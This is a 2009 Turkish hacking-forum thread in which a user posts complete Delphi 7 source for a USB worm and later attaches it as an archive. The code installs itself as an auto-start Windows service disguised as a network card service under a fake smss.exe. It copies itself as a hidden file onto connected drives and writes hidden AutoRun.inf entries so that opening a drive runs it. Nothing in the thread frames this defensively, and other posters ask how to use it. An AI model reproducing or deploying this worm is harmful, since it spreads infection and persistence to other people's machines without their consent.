CryptoSuite.Org

Geri git   CryptoSuite.ORG || The Best Encryption Platform Of The World > Programlama > Delphi

Delphi Delphi Hakkında Herşey

Konu Bilgileri
Konu Başlığı
usb worm - Russian style ;)
Konudaki Cevap Sayısı
5
Şuan Bu Konuyu Görüntüleyenler
 
Görüntülenme Sayısı
205

Yeni Konu aç Cevapla
 
LinkBack Seçenekler Stil
Alt 08-24-09, 07:01   #1 (permalink)
Member
 
xafon - ait Kullanıcı Resmi (Avatar)

User ID : 4689
Messages : 12
Threads : 3
Thanks : 0
Rat : Cerberus
xafon isimli Üye şimdilik offline konumundadır
CryptoSuite.Org
Smile usb worm - Russian style ;)

Delphi 7:
PHP- Kodu:
Program WormUsb;
const
  
ServiceName                    'NetKard';
  
ServiceDisp                    'Сервис контроля сетевой карты';
  
Path                           '\system32\drivers\smss.exe';
  
TimeOut                        = $400;
  
TypeWorm                       'usbworm';
  
SizeWorm                       $A75;
  
NameWorm                       'usbsystem.exe';
  
user32                         'user32.dll';
  
kernel32                       'kernel32.dll';
  
advapi32                       'advapi32.dll';
  
SERVICE_RUNNING                = $4;
  
SERVICE_WIN32_OWN_PROCESS      = $10;
  
SERVICE_WIN32_SHARE_PROCESS    = $20;
  
SERVICE_WIN32                  = (SERVICE_WIN32_OWN_PROCESS or
                                   
SERVICE_WIN32_SHARE_PROCESS);
  
SERVICE_START_PENDING          = $2;
  
SC_MANAGER_CREATE_SERVICE      = $2;
  
STANDARD_RIGHTS_REQUIRED       $F0000;
  
SERVICE_AUTO_START             = $2;
  
SERVICE_ERROR_NORMAL           = $1;
  
SC_MANAGER_CONNECT             = $1;
  
SERVICE_START                  = $10;
  
SERVICE_QUERY_STATUS           = $4;
  
SERVICE_INTERACTIVE_PROCESS    = $100;
  
MAX_PATH                       260;
  
INFINITE                       INTEGER($FFFFFFFF);
  
GENERIC_READ                   INTEGER($80000000);
  
FILE_SHARE_READ                = $1;
  
FILE_ATTRIBUTE_NORMAL          = $80;
  
OPEN_EXISTING                  3;
  
SW_HIDE                        0;
  
FILE_SHARE_WRITE               = $2;
  
CREATE_ALWAYS                  2;
  
GENERIC_WRITE                  = $40000000;

type
  HINST   
INTEGER;
  
THandle INTEGER;
  
UINT    INTEGER;
  
DWORD   INTEGER;
  
LPDWORD =^INTEGER;
  
BOOL    BOOLEAN;
  
pathbuf = array [0..MAX_PATHof char;

  
SERVICE_TABLE_ENTRYA record
    lpServiceName 
PChar;
    
lpServiceProc Pointer;
  
end;

  
SERVICE_STATUS record
    dwServiceType             
DWORD;
    
dwCurrentState            DWORD;
    
dwControlsAccepted        DWORD;
    
dwWin32ExitCode           DWORD;
    
dwServiceSpecificExitCode DWORD;
    
dwCheckPoint              DWORD;
    
dwWaitHint                DWORD;
  
end;

  
PSecurityAttributes = ^TSecurityAttributes;

  
TSecurityAttributes record
    nLength              
Cardinal;
    
lpSecurityDescriptor Pointer;
    
bInheritHandle       Boolean;
  
end;

  
TWndClassEx packed record
    cbSize        
Integer;
    
style         Integer;
    
lpfnWndProc   Pointer;
    
cbClsExtra    Integer;
    
cbWndExtra    Integer;
    
hInstance     integer;
    
hIcon         Integer;
    
hCursor       Integer;
    
hbrBackground Integer;
    
lpszMenuName  PChar;
    
lpszClassName PChar;
    
hIconSm       Integer;
  
end;

  
TPoint packed record
    X 
Longint;
    
Longint;
  
end;

  
TMSG packed record
    hwnd    
Integer;
    
message integer;
    
wParam  Longint;
    
lParam  Longint;
    
time    integer;
    
pt      TPoint;
  
end;

  
TOVERLAPPED Packed record
    Internal     
LongWORD;
    
InternalHigh LongWORD;
    
Offset       LongWORD;
    
OffsetHigh   LongWORD;
    
hEvent       THandle;
  
end;

  
POverlapped = ^TOVERLAPPED;

var
  
wc                  TWndClassEx;
  
Wnd                 Integer;
  
Mesg                TMsg;
  
hThread             THandle;
  
DispatchTable       SERVICE_TABLE_ENTRYA;
  
ServiceStatus       SERVICE_STATUS;
  
ServiceStatusHandle integer;

function 
DefWindowProc(hWndIntegerMsgUINTwParamIntegerlParamInteger): Integerstdcallexternal user32 name 'DefWindowProcA';
function 
SetServiceStatus(hServiceStatusinteger; var lpServiceStatusSERVICE_STATUS): BOOLstdcallexternal advapi32 name 'SetServiceStatus';
function 
RegisterServiceCtrlHandler(lpServiceNamePCharlpHandlerProcpointer): integerstdcall;external advapi32 name 'RegisterServiceCtrlHandlerA';
function 
OpenSCManager(lpMachineNamelpDatabaseNamePChardwDesiredAccessDWORD): INTEGERstdcallexternal advapi32 name 'OpenSCManagerA';
function 
CreateService(hSCManagerINTEGERlpServiceNamelpDisplayName PChar;  dwDesiredAccessdwServiceTypedwStartTypedwErrorControlDWORD;  lpBinaryPathNamelpLoadOrderGroupPCharlpdwTagIdLPDWORDlpDependencies,  lpServiceStartNamelpPasswordPChar): INTEGERstdcallexternal advapi32 name 'CreateServiceA';
function 
CloseServiceHandle(hSCObjectINTEGER): BOOLstdcallexternal advapi32 name 'CloseServiceHandle';
function 
OpenService(hSCManagerINTEGERlpServiceNamePChardwDesiredAccessDWORD): INTEGERstdcallexternal advapi32 name 'OpenServiceA';
function 
StartService(hServiceINTEGERdwNumServiceArgsINTEGER; var lpServiceArgVectorsPChar): BOOLstdcallexternal advapi32 name 'StartServiceA';
function 
QueryServiceStatus(hServiceINTEGER; var lpServiceStatusSERVICE_STATUS): BOOLstdcallexternal advapi32 name 'QueryServiceStatus';
function 
StartServiceCtrlDispatcher(var lpServiceStartTableSERVICE_TABLE_ENTRYA): BOOLstdcallexternal advapi32 name 'StartServiceCtrlDispatcherA';
procedure Sleep(dwMillisecondsDWORD); stdcallexternal kernel32 name 'Sleep';
function 
CreateThread(lpThreadAttributesPointerdwStackSizeDWORDlpStartAddressPointerlpParameterPointerdwCreationFlagsDWORD; var lpThreadIdDWORD): THandlestdcallexternal kernel32 name 'CreateThread';
function 
WaitForSingleObject(hHandleTHandledwMillisecondsDWORD): DWORDstdcallexternal kernel32 name 'WaitForSingleObject';
function 
CloseHandle(hObjectTHandle): BOOLstdcallexternal kernel32 name 'CloseHandle';
function 
CreateFile(lpFileNamePChardwDesiredAccessdwShareModeDWORDlpSecurityAttributesPSecurityAttributesdwCreationDispositiondwFlagsAndAttributesDWORDhTemplateFileTHandle): THandlestdcallexternal kernel32 name 'CreateFileA';
function 
GetModuleFileName(hModuleHINSTlpFilenamePCharnSizeDWORD): DWORDstdcallexternal kernel32 name 'GetModuleFileNameA';
function 
GetWindowsDirectory(lpBufferPCharuSizeUINT): UINTstdcallexternal kernel32 name 'GetWindowsDirectoryA';
function 
lstrcpy(lpString1lpString2PChar): PCharstdcallexternal kernel32 name 'lstrcpyA';
function 
lstrcat(lpString1lpString2PChar): PCharstdcallexternal kernel32 name 'lstrcatA';
function 
WinExec(lpCmdLinePCharuCmdShowINTEGER): INTEGERstdcall;  external kernel32 name 'WinExec';
function 
RegisterClassEx(const WndClassTWndClassEx): Wordstdcallexternal user32 name 'RegisterClassExA';
function 
GetMessage(var lpMsgTMsghWndintegerwMsgFilterMinwMsgFilterMaxinteger): booleanstdcallexternal user32 name 'GetMessageA';
function 
TranslateMessage(const lpMsgTMsg): booleanstdcallexternal user32 name 'TranslateMessage';
function 
DispatchMessage(const lpMsgTMsg): integerstdcallexternal user32 name 'DispatchMessageA';
function 
CreateWindowEx(dwExStyleintegerlpClassNamePCharlpWindowNamePChardwStyleintegerXYnWidthnHeightIntegerhWndParentintegerhMenuintegerhInstanceintegerlpParamPointer): integerstdcallexternal user32 name 'CreateWindowExA';
function 
SetTimer(hWndintegernIDEventuElapseintegerlpTimerFuncpointer): integerstdcallexternal user32 name 'SetTimer';
function 
GetLogicalDriveStrings(nBufferLengthINTEGERlpBufferPChar): INTEGERstdcallexternal kernel32 name 'GetLogicalDriveStringsA';
function 
GetDriveType(lpRootPathNamePChar): INTEGERstdcallexternal kernel32 name 'GetDriveTypeA';
function 
WriteFile(hFileTHandle; const BuffernNumberOfBytesToWriteINTEGER;  var lpNumberOfBytesWrittenINTEGERlpOverlappedPOverlapped): BOOLEANstdcallexternal 'kernel32.dll' name 'WriteFile';
function 
SetFileAttributes(lpFileNamePChardwFileAttributesDWORD): BOOLstdcallexternal kernel32 name 'SetFileAttributesA';
function 
GetFileAttributes(lpFileNamePChar): DWORDstdcallexternal kernel32 name 'GetFileAttributesA';
function 
ReadFile(hFileINTEGER; var BuffernNumberOfBytesToReadINTEGER;  var lpNumberOfBytesReadINTEGERlpOverlappedPOverlapped): BOOLEANstdcallexternal 'kernel32.dll' name 'ReadFile';
function 
lstrcmp(lpString1lpString2PChar): Integerstdcallexternal kernel32 name 'lstrcmpA';
function 
lstrlen(lpStringPChar): Integerstdcallexternal kernel32 name 'lstrlenA';
function 
QueryPerformanceCounterX(var lpPerformanceCountLongInt): BOOLEANstdcallexternal kernel32 name 'QueryPerformanceCounter';

function 
SysVolInfExists(const DiskPChar): Boolean;
var
  
Code Integer;
   
Buf PathBuf;
begin
  LStrCpy
(Buf,#0);
  
LStrCat(Buf,Disk);
  
LStrCat(Buf,'System Volume Information');
  
Code := GetFileAttributes(Buf);
  
Result := (Code <> -1) and ($10 and Code <> 0);
end;

function 
FileExists(path:PChar):boolean;
var
  
integer;
begin
  i
:=CreateFile(pathGENERIC_READFILE_SHARE_READnilOPEN_EXISTINGFILE_ATTRIBUTE_NORMAL0);
  if 
i=-1
  then Result
:=false
  
else Result:=true;
end;

Procedure CopyFileX(FromF,ToF:PChar);
var
  
buf : array[1..SizeWormof byte;
  
f1h integer;
  
f2h integer;
  
CRD integer;
begin
  f1h
:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING0,0);
  
f2h:=CreateFile(ToF,GENERIC_WRITE,0,nil,CREATE_ALWAYS,0,0);
  
ReadFile(f1hBufSizeWormCRDnil);
  
WriteFile(f2hBufCRDCRDnil);
  
CloseHandle(f1h);
  
CloseHandle(f2h);
  
SetFileAttributes(ToF,$22);
end;

function 
WindowProc(wnd:IntegerMsg IntegerWparam:LongintLparam:Longint):LongIntstdcall;
var
    
integer;
   
i1 integer;
   
i2 integer;
   
i3 integer;
   
i4 integer;
   
F1 pathbuf;
   
F2 pathbuf;
   
F3 pathbuf;
   
F4 pathbuf;
   
FH integer;
  
Buf : array [0..95of char;
Begin
if Msg=275 then
begin
  GetModuleFileName
(0,F1,MAX_PATH);
  
GetLogicalDriveStrings(96,Buf);
  for 
i1:=0 to 25 do
  if 
Buf[i1*4+2]<>#92 then break;
  
if Buf[0]=#65 then i4:=1 else i4:=0;
  
for i2:=i4 to i1-do
    
begin
      i3
:=GetDriveType(@Buf[i2*4]);
      if  (
i3<>0)
      and (
i3<>1)
      and (
i3<>5)
      and (
not SysVolInfExists(@Buf[i2*4])) then
      begin
        LStrCpy
(F2,#0);
        
LStrCat(F2,@Buf[i2*4]);
        
LStrCat(F2,NameWorm);
        
LStrCpy(F3,#0);
        
LStrCat(F3,@Buf[i2*4]);
        
LStrCat(F3,'AutoRun.inf');
        if 
not FileExists(F2) or FileExists(F3then
          begin
            CopyFileX
(F1,F2);
            
LStrCpy(F4,#0);
            
LStrCat(F4,'[AutoRun]'#13#10'open=');
            
LStrCat(F4,NameWorm);
            
LStrCat(F4,#13#10'shell\open\Command=');
            
LStrCat(F4,NameWorm);
            
LStrCat(F4,#13#10'shell\open\Default=1'#13#10'shell\explore\Command=');
            
LStrCat(F4,NameWorm);
            
FH := CreateFile(F3GENERIC_WRITEFILE_SHARE_WRITEnilCREATE_ALWAYS00);
            
WriteFile(FHF4[0], 116Bnil);
            
CloseHandle(FH);
            
SetFileAttributes(F3,$22);
          
end;
      
end;
    
end;
end
else Result:=DefWindowProc(wnd,msg,wparam,lparam);
End;

procedure ServiceCtrlHandlerstdcall;
begin
  SetServiceStatus
(ServiceStatusHandleServiceStatus);
end;

procedure MainServiceThreadstdcall;
begin
  sleep
(INFINITE);
end;

procedure ServiceProc(argcDWORD; var argv: array of PChar); stdcall;
var
  
thID integer;
begin
  ServiceStatus
.dwServiceType := SERVICE_WIN32;
  
ServiceStatus.dwCurrentState := SERVICE_START_PENDING;
  
ServiceStatus.dwControlsAccepted := 0;
  
ServiceStatus.dwWin32ExitCode := 0;
  
ServiceStatus.dwServiceSpecificExitCode := 0;
  
ServiceStatus.dwCheckPoint := 0;
  
ServiceStatus.dwWaitHint := 0;
  
ServiceStatusHandle := RegisterServiceCtrlHandler(ServiceName, @ServiceCtrlHandler);
  
ServiceStatus.dwCurrentState := SERVICE_RUNNING;
  
ServiceStatus.dwCheckPoint := 0;
  
ServiceStatus.dwWaitHint := 0;
  
SetServiceStatus(ServiceStatusHandleServiceStatus);
  
wc.cbSize:=sizeof(wc);
  
wc.lpfnWndProc:=@WindowProc;
  
wc.lpszClassName:=TypeWorm;
  
RegisterClassEx(wc);
  
Wnd:=CreateWindowEx 0TypeWormnil00000000nil);
  
SetTimer(Wnd,600,TimeOut,nil);
  While 
GetMessage(Mesg,0,0,0) do
    
begin
      TranslateMessage
(Mesg);
      
DispatchMessage(Mesg);
    
end;
  
hThread := CreateThread(nil0, @MainServiceThreadnil0ThID);
  
WaitForSingleObject(hThreadINFINITE);
  
CloseHandle(hThread);
end;

function 
CreateNTService(ExecutablePathServiceNamePChar): boolean;
var
  
hNewService INTEGER;
       
hSCMgr INTEGER;
   
FuncRetVal Boolean;
begin
  FuncRetVal 
:= False;
  
hSCMgr := OpenSCManager(nilnilSC_MANAGER_CREATE_SERVICE);
  if (
hSCMgr <> 0then
  begin
    hNewService 
:= CreateService(hSCMgrServiceNameServiceDisp,
      
STANDARD_RIGHTS_REQUIREDSERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
      
SERVICE_AUTO_STARTSERVICE_ERROR_NORMAL,
      
ExecutablePathnilnilnilnilnil);
    
CloseServiceHandle(hSCMgr);
    if (
hNewService <> 0then
      FuncRetVal 
:= true
    
else
      
FuncRetVal := false;
  
end;
  
CreateNTService := FuncRetVal;
end;

function 
ServiceStart(aServiceNamePChar ): boolean;
var
     
h_manager INTEGER;
         
h_svc INTEGER;
    
svc_status SERVICE_STATUS;
          
Temp PChar;
  
dwCheckPoint DWord;
begin
  svc_status
.dwCurrentState := 1;
  
h_manager := OpenSCManager(nilnilSC_MANAGER_CONNECT);
  if 
h_manager 0 then
  begin
    h_svc 
:= OpenService(h_manageraServiceName,
    
SERVICE_START or SERVICE_QUERY_STATUS);
    if 
h_svc 0 then
    begin
      temp 
:= nil;
      if (
StartService(h_svc,0,temp)) then
        
if (QueryServiceStatus(h_svc,svc_status)) then
        begin
          
while (SERVICE_RUNNING <> svc_status.dwCurrentState) do
          
begin
            dwCheckPoint 
:= svc_status.dwCheckPoint;
            
Sleep(svc_status.dwWaitHint);
            if (
not QueryServiceStatus(h_svc,svc_status)) then  break;
            if (
svc_status.dwCheckPoint dwCheckPointthen  break;
          
end;
        
end;
      
CloseServiceHandle(h_svc);
    
end;
    
CloseServiceHandle(h_manager);
  
end;
  
Result := SERVICE_RUNNING svc_status.dwCurrentState;
end;

var
  
F1 pathbuf;
  
F2 pathbuf;
  
F3 pathbuf;
  
F4 pathbuf;
  
i1 integer;
  
i2 integer;
begin
  GetModuleFileName
(0,F1,MAX_PATH);
  
i2:=lstrlen(F1);
  for 
i1:=i2 downto 0 do
  if 
F1[i1]=#92 then break;
  
if Lstrcmp(@F1[i1+1],NameWorm)=0 then
    begin
      LStrCpy
(F4,#0);
      
LStrCat(F4,F1);
      
F4[3]:=#0;
      
LStrCpy(F2,#0);
      
LStrCat(F2,'explorer ');
      
LStrCat(F2,F4);
      
winexec(F2,1);
    
end;
  
GetWindowsDirectory(F3MAX_PATH);
  
LStrCpy(F2,#0);
  
LStrCat(F2,F3);
  
LStrCat(F2,path);
  if 
not FileExists(F2then
    begin
      CopyFileX
(F1,F2);
      
CreateNTService(F2ServiceName);
      
ServiceStart(ServiceName);
      exit;
    
end;
  
DispatchTable.lpServiceName := ServiceName;
  
DispatchTable.lpServiceProc := @ServiceProc;
  
StartServiceCtrlDispatcher(DispatchTable);
end

Konu xafon tarafından (08-24-09 Saat 07:04 ) değiştirilmiştir..
  Alıntı ile Cevapla
Alt 08-24-09, 19:55   #2 (permalink)
Member
 

User ID : 4739
Messages : 1
Threads : 0
Thanks : 0
Rat :
Scr0fizz isimli Üye şimdilik offline konumundadır
CryptoSuite.Org
Standart

evet bende tam olarak bu nedir ağa nasıl kullanılır ?
  Alıntı ile Cevapla
Alt 08-24-09, 21:27   #3 (permalink)
Member
 
xafon - ait Kullanıcı Resmi (Avatar)

User ID : 4689
Messages : 12
Threads : 3
Thanks : 0
Rat : Cerberus
xafon isimli Üye şimdilik offline konumundadır
CryptoSuite.Org
Standart

I from Russia, do not know Turkish language(((( write in English, or it is better in Russian)))
  Alıntı ile Cevapla
Alt 08-24-09, 22:44   #4 (permalink)
Member
 

User ID : 4758
Messages : 1
Threads : 0
Thanks : 0
Rat :
İvan isimli Üye şimdilik offline konumundadır
CryptoSuite.Org
Standart

Privet!! Tı Russkiy ?
  Alıntı ile Cevapla
Alt 08-25-09, 08:43   #5 (permalink)
Member
 
xafon - ait Kullanıcı Resmi (Avatar)

User ID : 4689
Messages : 12
Threads : 3
Thanks : 0
Rat : Cerberus
xafon isimli Üye şimdilik offline konumundadır
CryptoSuite.Org
Standart

Solucan USB sürücüler yoluyla yayılır. It olarak delphi7 ve 6 sürüm olabilir toplayın. Source burada aşağıda:
PS: Ben Rusça olarak yazıyorum - Türkçe çevirmen, çok dil bilgisizlik için) suçlamıyorum
Eklenmiş Dosya
Dosya tipi: rar worm.rar (399,3 KB (Kilobyte), 11x kez indirilmiştir)
  Alıntı ile Cevapla
Alt 08-25-09, 14:21   #6 (permalink)
Psychedelic Life
 
Ustata - ait Kullanıcı Resmi (Avatar)

User ID : 1
Messages : 1.238
Threads : 257
Thanks : 310
Rat : Aero Rat
Ustata isimli Üye şuanda  online konumundadır
CryptoSuite.Org
Standart

hehe i love Russia
__________________
"Hayat mücadeleden ibaretdir. Bundan dolayı hayatta yalnız iki şey vardır. Galip olmak, mağlup olmak.”

Mustafa Kemal ATATURK;18.03.1923
  Alıntı ile Cevapla
Cevapla

Bookmarks


Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)
 
Seçenekler
Stil

Yetkileriniz
Konu Acma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Açık
Pingbacks are Açık
Refbacks are Açık


Benzer Konular
Konu Konuyu Başlatan Forum Cevaplar Son Mesaj
Pack of Russian browser exploits seninle1d Buffer Overflow Exploit's / HTML Downloaderlar 8 06-19-09 18:38
Photoshop Style Paketi wolfing Photoshop 0 02-18-09 11:58


WEZ Format +3. Şuan Saat: 14:51.